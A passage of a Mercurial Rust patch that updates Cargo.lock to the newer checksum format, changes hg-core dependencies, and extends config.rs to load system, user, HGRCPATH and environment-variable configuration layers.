"b00bca6106a5e23f3eee943593759b7fcddb00554332e856d990c893966879fb" [[package]] name = "vec_map" version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191" [[package]] name = "version_check" version = "0.9.2" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5a972e5669d67ba988ce3dc826706fb0a8b01471c088cb0b6110b805cc36aed" [[package]] name = "wasi" version = "0.9.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" [[package]] name = "wasi" version = "0.10.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f" [[package]] name = "winapi" version = "0.3.9" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" dependencies = [ - "winapi-i686-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)", - "winapi-x86_64-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)", + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", ] [[package]] name = "winapi-i686-pc-windows-gnu" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" [[package]] name = "winapi-util" version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" dependencies = [ - "winapi 0.3.9 (registry+https://github.com/rust-lang/crates.io-index)", + "winapi", ] [[package]] name = "winapi-x86_64-pc-windows-gnu" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" [[package]] name = "zstd" version = "0.5.3+zstd.1.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01b32eaf771efa709e8308605bbf9319bf485dc1503179ec0469b611937c0cd8" dependencies = [ - "zstd-safe 2.0.5+zstd.1.4.5 (registry+https://github.com/rust-lang/crates.io-index)", + "zstd-safe", ] [[package]] name = "zstd-safe" version = "2.0.5+zstd.1.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1cfb642e0d27f64729a639c52db457e0ae906e7bc6f5fe8f5c453230400f1055" dependencies = [ - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", - "zstd-sys 1.4.17+zstd.1.4.5 (registry+https://github.com/rust-lang/crates.io-index)", + "libc", + "zstd-sys", ] [[package]] name = "zstd-sys" version = "1.4.17+zstd.1.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b89249644df056b522696b1bb9e7c18c87e8ffa3e2f0dc3b0155875d6498f01b" dependencies = [ - "cc 1.0.66 (registry+https://github.com/rust-lang/crates.io-index)", - "glob 0.3.0 (registry+https://github.com/rust-lang/crates.io-index)", - "itertools 0.9.0 (registry+https://github.com/rust-lang/crates.io-index)", - "libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)", + "cc", + "glob", + "itertools", + "libc", ] - -[metadata] -"checksum adler 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)" = "ee2a4ec343196209d6594e19543ae87a39f96d5534d7174822a3ad825dd6ed7e" -"checksum aho-corasick 0.7.15 (registry+https://github.com/rust-lang/crates.io-index)" = "7404febffaa47dac81aa44dba71523c9d069b1bdc50a77db41195149e17f68e5" -"checksum ansi_term 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ee49baf6cb617b853aa8d93bf420db2383fab46d314482ca2803b40d5fde979b" -"checksum atty 0.2.14 (registry+https://github.com/rust-lang/crates.io-index)" = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" -"checksum autocfg 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)" = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a" -"checksum bitflags 1.2.1 (registry+https://github.com/rust-lang/crates.io-index)" = "cf1de2fe8c75bc145a2f577add951f8134889b4795d47466a54a5c846d691693" -"checksum bitmaps 2.1.0 (registry+https://github.com/rust-lang/crates.io-index)" = "031043d04099746d8db04daf1fa424b2bc8bd69d92b25962dcde24da39ab64a2" -"checksum byteorder 1.3.4 (registry+https://github.com/rust-lang/crates.io-index)" = "08c48aae112d48ed9f069b33538ea9e3e90aa263cfa3d1c24309612b1f7472de" -"checksum cc 1.0.66 (registry+https://github.com/rust-lang/crates.io-index)" = "4c0496836a84f8d0495758516b8621a622beb77c0fed418570e50764093ced48" -"checksum cfg-if 0.1.10 (registry+https://github.com/rust-lang/crates.io-index)" = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822" -"checksum cfg-if 1.0.0 (registry+https://github.com/rust-lang/crates.io-index)" = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" -"checksum clap 2.33.3 (registry+https://github.com/rust-lang/crates.io-index)" = "37e58ac78573c40708d45522f0d80fa2f01cc4f9b4e2bf749807255454312002" -"checksum const_fn 0.4.4 (registry+https://github.com/rust-lang/crates.io-index)" = "cd51eab21ab4fd6a3bf889e2d0958c0a6e3a61ad04260325e919e652a2a62826" -"checksum cpython 0.4.1 (registry+https://github.com/rust-lang/crates.io-index)" = "bfaf3847ab963e40c4f6dd8d6be279bdf74007ae2413786a0dcbb28c52139a95" -"checksum crc32fast 1.2.1 (registry+https://github.com/rust-lang/crates.io-index)" = "81156fece84ab6a9f2afdb109ce3ae577e42b1228441eded99bd77f627953b1a" -"checksum crossbeam-channel 0.4.4 (registry+https://github.com/rust-lang/crates.io-index)" = "b153fe7cbef478c567df0f972e02e6d736db11affe43dfc9c56a9374d1adfb87" -"checksum crossbeam-channel 0.5.0 (registry+https://github.com/rust-lang/crates.io-index)" = "dca26ee1f8d361640700bde38b2c37d8c22b3ce2d360e1fc1c74ea4b0aa7d775" -"checksum crossbeam-deque 0.8.0 (registry+https://github.com/rust-lang/crates.io-index)" = "94af6efb46fef72616855b036a624cf27ba656ffc9be1b9a3c931cfc7749a9a9" -"checksum crossbeam-epoch 0.9.1 (registry+https://github.com/rust-lang/crates.io-index)" = "a1aaa739f95311c2c7887a76863f500026092fb1dce0161dab577e559ef3569d" -"checksum crossbeam-utils 0.7.2 (registry+https://github.com/rust-lang/crates.io-index)" = "c3c7c73a2d1e9fc0886a08b93e98eb643461230d5f1925e4036204d5f2e261a8" -"checksum crossbeam-utils 0.8.1 (registry+https://github.com/rust-lang/crates.io-index)" = "02d96d1e189ef58269ebe5b97953da3274d83a93af647c2ddd6f9dab28cedb8d" -"checksum ctor 0.1.16 (registry+https://github.com/rust-lang/crates.io-index)" = "7fbaabec2c953050352311293be5c6aba8e141ba19d6811862b232d6fd020484" -"checksum difference 2.0.0 (registry+https://github.com/rust-lang/crates.io-index)" = "524cbf6897b527295dff137cec09ecf3a05f4fddffd7dfcd1585403449e74198" -"checksum either 1.6.1 (registry+https://github.com/rust-lang/crates.io-index)" = "e78d4f1cc4ae33bbfc157ed5d5a5ef3bc29227303d595861deb238fcec4e9457" -"checksum env_logger 0.7.1 (registry+https://github.com/rust-lang/crates.io-index)" = "44533bbbb3bb3c1fa17d9f2e4e38bbbaf8396ba82193c4cb1b6445d711445d36" -"checksum flate2 1.0.19 (registry+https://github.com/rust-lang/crates.io-index)" = "7411863d55df97a419aa64cb4d2f167103ea9d767e2c54a1868b7ac3f6b47129" -"checksum format-bytes 0.1.3 (registry+https://github.com/rust-lang/crates.io-index)" = "1a7374eb574cd29ae45878554298091c554c3286a17b3afa440a3e2710ae0790" -"checksum format-bytes-macros 0.1.2 (registry+https://github.com/rust-lang/crates.io-index)" = "4edcc04201cea17a0e6b937adebd46b93fba09924c7e6ed8c515a35ce8432cbc" -"checksum fuchsia-cprng 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)" = "a06f77d526c1a601b7c4cdd98f54b5eaabffc14d5f2f0296febdc7f357c6d3ba" -"checksum gcc 0.3.55 (registry+https://github.com/rust-lang/crates.io-index)" = "8f5f3913fa0bfe7ee1fd8248b6b9f42a5af4b9d65ec2dd2c3c26132b950ecfc2" -"checksum getrandom 0.1.15 (registry+https://github.com/rust-lang/crates.io-index)" = "fc587bc0ec293155d5bfa6b9891ec18a1e330c234f896ea47fbada4cadbe47e6" -"checksum glob 0.3.0 (registry+https://github.com/rust-lang/crates.io-index)" = "9b919933a397b79c37e33b77bb2aa3dc8eb6e165ad809e58ff75bc7db2e34574" -"checksum hermit-abi 0.1.17 (registry+https://github.com/rust-lang/crates.io-index)" = "5aca5565f760fb5b220e499d72710ed156fdb74e631659e99377d9ebfbd13ae8" -"checksum hex 0.4.2 (registry+https://github.com/rust-lang/crates.io-index)" = "644f9158b2f133fd50f5fb3242878846d9eb792e445c893805ff0e3824006e35" -"checksum humantime 1.3.0 (registry+https://github.com/rust-lang/crates.io-index)" = "df004cfca50ef23c36850aaaa59ad52cc70d0e90243c3c7737a4dd32dc7a3c4f" -"checksum im-rc 15.0.0 (registry+https://github.com/rust-lang/crates.io-index)" = "3ca8957e71f04a205cb162508f9326aea04676c8dfd0711220190d6b83664f3f" -"checksum itertools 0.9.0 (registry+https://github.com/rust-lang/crates.io-index)" = "284f18f85651fe11e8a991b2adb42cb078325c996ed026d994719efcfca1d54b" -"checksum jobserver 0.1.21 (registry+https://github.com/rust-lang/crates.io-index)" = "5c71313ebb9439f74b00d9d2dcec36440beaf57a6aa0623068441dd7cd81a7f2" -"checksum lazy_static 1.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" -"checksum libc 0.2.81 (registry+https://github.com/rust-lang/crates.io-index)" = "1482821306169ec4d07f6aca392a4681f66c75c9918aa49641a2595db64053cb" -"checksum libz-sys 1.1.2 (registry+https://github.com/rust-lang/crates.io-index)" = "602113192b08db8f38796c4e85c39e960c145965140e918018bcde1952429655" -"checksum log 0.4.11 (registry+https://github.com/rust-lang/crates.io-index)" = "4fabed175da42fed1fa0746b0ea71f412aa9d35e76e95e59b192c64b9dc2bf8b" -"checksum maybe-uninit 2.0.0 (registry+https://github.com/rust-lang/crates.io-index)" = "60302e4db3a61da70c0cb7991976248362f30319e88850c487b9b95bbf059e00" -"checksum memchr 2.3.4 (registry+https://github.com/rust-lang/crates.io-index)" = "0ee1c47aaa256ecabcaea351eae4a9b01ef39ed810004e298d2511ed284b1525" -"checksum memmap 0.7.0 (registry+https://github.com/rust-lang/crates.io-index)" = "6585fd95e7bb50d6cc31e20d4cf9afb4e2ba16c5846fc76793f11218da9c475b" -"checksum memoffset 0.6.1 (registry+https://github.com/rust-lang/crates.io-index)" = "157b4208e3059a8f9e78d559edc658e13df41410cb3ae03979c83130067fdd87" -"checksum micro-timer 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)" = "2620153e1d903d26b72b89f0e9c48d8c4756cba941c185461dddc234980c298c" -"checksum micro-timer-macros 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)" = "e28a3473e6abd6e9aab36aaeef32ad22ae0bd34e79f376643594c2b152ec1c5d" -"checksum miniz_oxide 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)" = "0f2d26ec3309788e423cfbf68ad1800f061638098d76a83681af979dc4eda19d" -"checksum num-traits 0.2.14 (registry+https://github.com/rust-lang/crates.io-index)" = "9a64b1ec5cda2586e284722486d802acf1f7dbdc623e2bfc57e65ca1cd099290" -"checksum num_cpus 1.13.0 (registry+https://github.com/rust-lang/crates.io-index)" = "05499f3756671c15885fee9034446956fff3f243d6077b91e5767df161f766b3" -"checksum output_vt100 0.1.2 (registry+https://github.com/rust-lang/crates.io-index)" = "53cdc5b785b7a58c5aad8216b3dfa114df64b0b06ae6e1501cef91df2fbdf8f9" -"checksum pkg-config 0.3.19 (registry+https://github.com/rust-lang/crates.io-index)" = "3831453b3449ceb48b6d9c7ad7c96d5ea673e9b470a1dc578c2ce6521230884c" -"checksum ppv-lite86 0.2.10 (registry+https://github.com/rust-lang/crates.io-index)" = "ac74c624d6b2d21f425f752262f42188365d7b8ff1aff74c82e45136510a4857" -"checksum pretty_assertions 0.6.1 (registry+https://github.com/rust-lang/crates.io-index)" = "3f81e1644e1b54f5a68959a29aa86cde704219254669da328ecfdf6a1f09d427" -"checksum proc-macro-hack 0.5.19 (registry+https://github.com/rust-lang/crates.io-index)" = "dbf0c48bc1d91375ae5c3cd81e3722dff1abcf81a30960240640d223f59fe0e5" -"checksum proc-macro2 1.0.24 (registry+https://github.com/rust-lang/crates.io-index)" = "1e0704ee1a7e00d7bb417d0770ea303c1bccbabf0ef1667dae92b5967f5f8a71" -"checksum python27-sys 0.4.1 (registry+https://github.com/rust-lang/crates.io-index)" = "67cb041de8615111bf224dd75667af5f25c6e032118251426fed7f1b70ce4c8c" -"checksum python3-sys 0.4.1 (registry+https://github.com/rust-lang/crates.io-index)" = "90af11779515a1e530af60782d273b59ac79d33b0e253c071a728563957c76d4" -"checksum quick-error 1.2.3 (registry+https://github.com/rust-lang/crates.io-index)" = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0" -"checksum quote 1.0.7 (registry+https://github.com/rust-lang/crates.io-index)" = "aa563d17ecb180e500da1cfd2b028310ac758de548efdd203e18f283af693f37" -"checksum rand 0.3.23 (registry+https://github.com/rust-lang/crates.io-index)" = "64ac302d8f83c0c1974bf758f6b041c6c8ada916fbb44a609158ca8b064cc76c" -"checksum rand 0.4.6 (registry+https://github.com/rust-lang/crates.io-index)" = "552840b97013b1a26992c11eac34bdd778e464601a4c2054b5f0bff7c6761293" -"checksum rand 0.7.3 (registry+https://github.com/rust-lang/crates.io-index)" = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" -"checksum rand_chacha 0.2.2 (registry+https://github.com/rust-lang/crates.io-index)" = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" -"checksum rand_core 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)" = "7a6fdeb83b075e8266dcc8762c22776f6877a63111121f5f8c7411e5be7eed4b" -"checksum rand_core 0.4.2 (registry+https://github.com/rust-lang/crates.io-index)" = "9c33a3c44ca05fa6f1807d8e6743f3824e8509beca625669633be0acbdf509dc" -"checksum rand_core 0.5.1 (registry+https://github.com/rust-lang/crates.io-index)" = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" -"checksum rand_distr 0.2.2 (registry+https://github.com/rust-lang/crates.io-index)" = "96977acbdd3a6576fb1d27391900035bf3863d4a16422973a409b488cf29ffb2" -"checksum rand_hc 0.2.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" -"checksum rand_pcg 0.2.1 (registry+https://github.com/rust-lang/crates.io-index)" = "16abd0c1b639e9eb4d7c50c0b8100b0d0f849be2349829c740fe8e6eb4816429" -"checksum rand_xoshiro 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "a9fcdd2e881d02f1d9390ae47ad8e5696a9e4be7b547a1da2afbc61973217004" -"checksum rayon 1.5.0 (registry+https://github.com/rust-lang/crates.io-index)" = "8b0d8e0819fadc20c74ea8373106ead0600e3a67ef1fe8da56e39b9ae7275674" -"checksum rayon-core 1.9.0 (registry+https://github.com/rust-lang/crates.io-index)" = "9ab346ac5921dc62ffa9f89b7a773907511cdfa5490c572ae9be1be33e8afa4a" -"checksum rdrand 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "678054eb77286b51581ba43620cc911abf02758c91f93f479767aed0f90458b2" -"checksum redox_syscall 0.1.57 (registry+https://github.com/rust-lang/crates.io-index)" = "41cc0f7e4d5d4544e8861606a285bb08d3e70712ccc7d2b84d7c0ccfaf4b05ce" -"checksum regex 1.4.2 (registry+https://github.com/rust-lang/crates.io-index)" = "38cf2c13ed4745de91a5eb834e11c00bcc3709e773173b2ce4c56c9fbde04b9c" -"checksum regex-syntax 0.6.21 (registry+https://github.com/rust-lang/crates.io-index)" = "3b181ba2dcf07aaccad5448e8ead58db5b742cf85dfe035e2227f137a539a189" -"checksum remove_dir_all 0.5.3 (registry+https://github.com/rust-lang/crates.io-index)" = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7" -"checksum rust-crypto 0.2.36 (registry+https://github.com/rust-lang/crates.io-index)" = "f76d05d3993fd5f4af9434e8e436db163a12a9d40e1a58a726f27a01dfd12a2a" -"checksum rustc-serialize 0.3.24 (registry+https://github.com/rust-lang/crates.io-index)" = "dcf128d1287d2ea9d80910b5f1120d0b8eede3fbf1abe91c40d39ea7d51e6fda" -"checksum same-file 1.0.6 (registry+https://github.com/rust-lang/crates.io-index)" = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" -"checksum scopeguard 1.1.0 (registry+https://github.com/rust-lang/crates.io-index)" = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" -"checksum sized-chunks 0.6.2 (registry+https://github.com/rust-lang/crates.io-index)" = "1ec31ceca5644fa6d444cc77548b88b67f46db6f7c71683b0f9336e671830d2f" -"checksum static_assertions 1.1.0 (registry+https://github.com/rust-lang/crates.io-index)" = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" -"checksum strsim 0.8.0 (registry+https://github.com/rust-lang/crates.io-index)" = "8ea5119cdb4c55b55d432abb513a0429384878c15dde60cc77b1c99de1a95a6a" -"checksum syn 1.0.54 (registry+https://github.com/rust-lang/crates.io-index)" = "9a2af957a63d6bd42255c359c93d9bfdb97076bd3b820897ce55ffbfbf107f44" -"checksum tempfile 3.1.0 (registry+https://github.com/rust-lang/crates.io-index)" = "7a6e24d9338a0a5be79593e2fa15a648add6138caa803e2d5bc782c371732ca9" -"checksum termcolor 1.1.2 (registry+https://github.com/rust-lang/crates.io-index)" = "2dfed899f0eb03f32ee8c6a0aabdb8a7949659e3466561fc0adf54e26d88c5f4" -"checksum textwrap 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)" = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060" -"checksum thread_local 1.0.1 (registry+https://github.com/rust-lang/crates.io-index)" = "d40c6d1b69745a6ec6fb1ca717914848da4b44ae29d9b3080cbee91d72a69b14" -"checksum time 0.1.44 (registry+https://github.com/rust-lang/crates.io-index)" = "6db9e6914ab8b1ae1c260a4ae7a49b6c5611b40328a735b21862567685e73255" -"checksum twox-hash 1.6.0 (registry+https://github.com/rust-lang/crates.io-index)" = "04f8ab788026715fa63b31960869617cba39117e520eb415b0139543e325ab59" -"checksum typenum 1.12.0 (registry+https://github.com/rust-lang/crates.io-index)" = "373c8a200f9e67a0c95e62a4f52fbf80c23b4381c05a17845531982fa99e6b33" -"checksum unicode-width 0.1.8 (registry+https://github.com/rust-lang/crates.io-index)" = "9337591893a19b88d8d87f2cec1e73fad5cdfd10e5a6f349f498ad6ea2ffb1e3" -"checksum unicode-xid 0.2.1 (registry+https://github.com/rust-lang/crates.io-index)" = "f7fe0bb3479651439c9112f72b6c505038574c9fbb575ed1bf3b797fa39dd564" -"checksum vcpkg 0.2.11 (registry+https://github.com/rust-lang/crates.io-index)" = "b00bca6106a5e23f3eee943593759b7fcddb00554332e856d990c893966879fb" -"checksum vec_map 0.8.2 (registry+https://github.com/rust-lang/crates.io-index)" = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191" -"checksum version_check 0.9.2 (registry+https://github.com/rust-lang/crates.io-index)" = "b5a972e5669d67ba988ce3dc826706fb0a8b01471c088cb0b6110b805cc36aed" -"checksum wasi 0.10.0+wasi-snapshot-preview1 (registry+https://github.com/rust-lang/crates.io-index)" = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f" -"checksum wasi 0.9.0+wasi-snapshot-preview1 (registry+https://github.com/rust-lang/crates.io-index)" = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" -"checksum winapi 0.3.9 (registry+https://github.com/rust-lang/crates.io-index)" = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" -"checksum winapi-i686-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" -"checksum winapi-util 0.1.5 (registry+https://github.com/rust-lang/crates.io-index)" = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" -"checksum winapi-x86_64-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)" = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" -"checksum zstd 0.5.3+zstd.1.4.5 (registry+https://github.com/rust-lang/crates.io-index)" = "01b32eaf771efa709e8308605bbf9319bf485dc1503179ec0469b611937c0cd8" -"checksum zstd-safe 2.0.5+zstd.1.4.5 (registry+https://github.com/rust-lang/crates.io-index)" = "1cfb642e0d27f64729a639c52db457e0ae906e7bc6f5fe8f5c453230400f1055" -"checksum zstd-sys 1.4.17+zstd.1.4.5 (registry+https://github.com/rust-lang/crates.io-index)" = "b89249644df056b522696b1bb9e7c18c87e8ffa3e2f0dc3b0155875d6498f01b" diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/Cargo.toml --- a/rust/hg-core/Cargo.toml Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/Cargo.toml Tue Apr 20 11:01:06 2021 -0400 @@ -9,11 +9,12 @@ name = "hg" [dependencies] +bytes-cast = "0.1" byteorder = "1.3.4" -hex = "0.4.2" +derive_more = "0.99" +home = "0.5" im-rc = "15.0.*" lazy_static = "1.4.0" -memchr = "2.3.3" rand = "0.7.3" rand_pcg = "0.2.1" rand_distr = "0.2.2" @@ -27,7 +28,7 @@ memmap = "0.7.0" zstd = "0.5.3" rust-crypto = "0.2.36" -format-bytes = "0.1.2" +format-bytes = "0.2.2" # We don't use the `miniz-oxide` backend to not change rhg benchmarks and until # we have a clearer view of which backend is the fastest. @@ -40,9 +41,3 @@ clap = "*" pretty_assertions = "0.6.1" tempfile = "3.1.0" - -[features] -# Use a (still unoptimized) tree for the dirstate instead of the current flat -# dirstate. This is not yet recommended for performance reasons. A future -# version might make it the default, or make it a runtime option. -dirstate-tree = [] diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/examples/nodemap/main.rs --- a/rust/hg-core/examples/nodemap/main.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/examples/nodemap/main.rs Tue Apr 20 11:01:06 2021 -0400 @@ -49,7 +49,7 @@ fn query(index: &Index, nm: &NodeTree, prefix: &str) { let start = Instant::now(); - let res = nm.find_hex(index, prefix); + let res = NodePrefix::from_hex(prefix).map(|p| nm.find_bin(index, p)); println!("Result found in {:?}: {:?}", start.elapsed(), res); } @@ -66,7 +66,7 @@ .collect(); if queries < 10 { let nodes_hex: Vec = - nodes.iter().map(|n| n.encode_hex()).collect(); + nodes.iter().map(|n| format!("{:x}", n)).collect(); println!("Nodes: {:?}", nodes_hex); } let mut last: Option = None; @@ -76,11 +76,11 @@ } let elapsed = start.elapsed(); println!( - "Did {} queries in {:?} (mean {:?}), last was {:?} with result {:?}", + "Did {} queries in {:?} (mean {:?}), last was {:x} with result {:?}", queries, elapsed, elapsed / (queries as u32), - nodes.last().unwrap().encode_hex(), + nodes.last().unwrap(), last ); } diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/config.rs --- a/rust/hg-core/src/config.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/config.rs Tue Apr 20 11:01:06 2021 -0400 @@ -11,4 +11,6 @@ mod config; mod layer; -pub use config::Config; +mod values; +pub use config::{Config, ConfigValueParseError}; +pub use layer::{ConfigError, ConfigParseError}; diff -r bc268ea9f984 -r f67b8946bb1b rust/hg-core/src/config/config.rs --- a/rust/hg-core/src/config/config.rs Thu Mar 25 19:06:28 2021 -0400 +++ b/rust/hg-core/src/config/config.rs Tue Apr 20 11:01:06 2021 -0400 @@ -8,25 +8,44 @@ // GNU General Public License version 2 or any later version. use super::layer; -use crate::config::layer::{ConfigError, ConfigLayer, ConfigValue}; -use std::path::PathBuf; +use super::values; +use crate::config::layer::{ + ConfigError, ConfigLayer, ConfigOrigin, ConfigValue, +}; +use crate::utils::files::get_bytes_from_os_str; +use crate::utils::SliceExt; +use format_bytes::{write_bytes, DisplayBytes}; +use std::collections::HashSet; +use std::env; +use std::fmt; +use std::path::{Path, PathBuf}; +use std::str; -use crate::operations::find_root; -use crate::utils::files::read_whole_file; +use crate::errors::{HgResultExt, IoResultExt}; /// Holds the config values for the current repository /// TODO update this docstring once we support more sources +#[derive(Clone)] pub struct Config { layers: Vec, } -impl std::fmt::Debug for Config { - fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { +impl DisplayBytes for Config { + fn display_bytes( + &self, + out: &mut dyn std::io::Write, + ) -> std::io::Result<()> { for (index, layer) in self.layers.iter().rev().enumerate() { - write!( - f, - "==== Layer {} (trusted: {}) ====\n{:?}", - index, layer.trusted, layer + write_bytes!( + out, + b"==== Layer {} (trusted: {}) ====\n{}", + index, + if layer.trusted { + &b"yes"[..] + } else { + &b"no"[..] + }, + layer )?; } Ok(()) @@ -40,15 +59,176 @@ Parsed(layer::ConfigLayer), } -pub fn parse_bool(v: &[u8]) -> Option { - match v.to_ascii_lowercase().as_slice() { - b"1" | b"yes" | b"true" | b"on" | b"always" => Some(true), - b"0" | b"no" | b"false" | b"off" | b"never" => Some(false), - _ => None, +#[derive(Debug)] +pub struct ConfigValueParseError { + pub origin: ConfigOrigin, + pub line: Option, + pub section: Vec, + pub item: Vec, + pub value: Vec, + pub expected_type: &'static str, +} + +impl fmt::Display for ConfigValueParseError { + fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { + // TODO: add origin and line number information, here and in + // corresponding python code + write!( + f, + "config error: {}.{} is not a {} ('{}')", + String::from_utf8_lossy(&self.section), + String::from_utf8_lossy(&self.item), + self.expected_type, + String::from_utf8_lossy(&self.value) + ) } } impl Config { + /// Load system and user configuration from various files. + /// + /// This is also affected by some environment variables. + pub fn load( + cli_config_args: impl IntoIterator>, + ) -> Result { + let mut config = Self { layers: Vec::new() }; + let opt_rc_path = env::var_os("HGRCPATH"); + // HGRCPATH replaces system config + if opt_rc_path.is_none() { + config.add_system_config()? + } + + config.add_for_environment_variable("EDITOR", b"ui", b"editor"); + config.add_for_environment_variable("VISUAL", b"ui", b"editor"); + config.add_for_environment_variable("PAGER", b"pager", b"pager"); + + // These are set by `run-tests.py --rhg` to enable fallback for the + // entire test suite. Alternatives would be setting configuration + // through `$HGRCPATH` but some tests override that, or changing the + // `hg` shell alias to include `--config` but that disrupts tests that + // print command lines and check expected output. + config.add_for_environment_variable( + "RHG_ON_UNSUPPORTED", + b"rhg", + b"on-unsupported", + ); + config.add_for_environment_variable( + "RHG_FALLBACK_EXECUTABLE", + b"rhg", + b"fallback-executable", + ); + + // HGRCPATH replaces user config + if opt_rc_path.is_none() { + config.add_user_config()? + } + if let Some(rc_path) = &opt_rc_path { + for path in env::split_paths(rc_path) { + if !path.as_os_str().is_empty() { + if path.is_dir() { + config.add_trusted_dir(&path)? + } else { + config.add_trusted_file(&path)? + } + } + } + } + if let Some(layer) = ConfigLayer::parse_cli_args(cli_config_args)? { + config.layers.push(layer) + } + Ok(config) + } + + fn add_trusted_dir(&mut self, path: &Path) -> Result<(), ConfigError> { + if let Some(entries) = std::fs::read_dir(path) + .when_reading_file(path) + .io_not_found_as_none()? + { + let mut file_paths = entries + .map(|result| { + result.when_reading_file(path).map(|entry| entry.path()) + }) + .collect::, _>>()?; + file_paths.sort(); + for file_path in &file_paths { + if file_path.extension() == Some(std::ffi::OsStr::new("rc")) { + self.add_trusted_file(&file_path)? + } + } + } + Ok(()) + } + + fn add_trusted_file(&mut self, path: &Path) -> Result<(), ConfigError> { + if let Some(data) = std::fs::read(path) + .when_reading_file(path) + .io_not_found_as_none()? + { + self.layers.extend(ConfigLayer::parse(path, &data)?) + } + Ok(()) + } + + fn add_for_environment_variable( + &mut self, + var: &str, + section: &[u8], + key: &[u8], + ) { + if let Some(value) = env::var_os(var) { + let origin = layer::ConfigOrigin::Environment(var.into()); + let mut layer = ConfigLayer::new(origin); + layer.add( + section.to_owned(), + key.to_owned(), + get_bytes_from_os_str(value), + None, + ); + self.layers.push(layer) + } + } + + #[cfg(unix)] // TODO: other platforms + fn add_system_config(&mut self) -> Result<(), ConfigError> { + let mut add_for_prefix = |prefix: &Path| -> Result<(), ConfigError> { + let etc = prefix.join("etc").join("mercurial"); + self.add_trusted_file(&etc.join("hgrc"))?; + self.add_trusted_dir(&etc.join("hgrc.d")) + }; + let root = Path::new("/"); + // TODO: use `std::env::args_os().next().unwrap()` a.k.a. argv[0] + // instead? TODO: can this be a relative path? + let hg = crate::utils::current_exe()?; + // TODO: this order (per-installation then per-system) matches + // `systemrcpath()` in `mercurial/scmposix.py`, but + // `mercurial/helptext/config.txt` suggests it should be reversed + if let 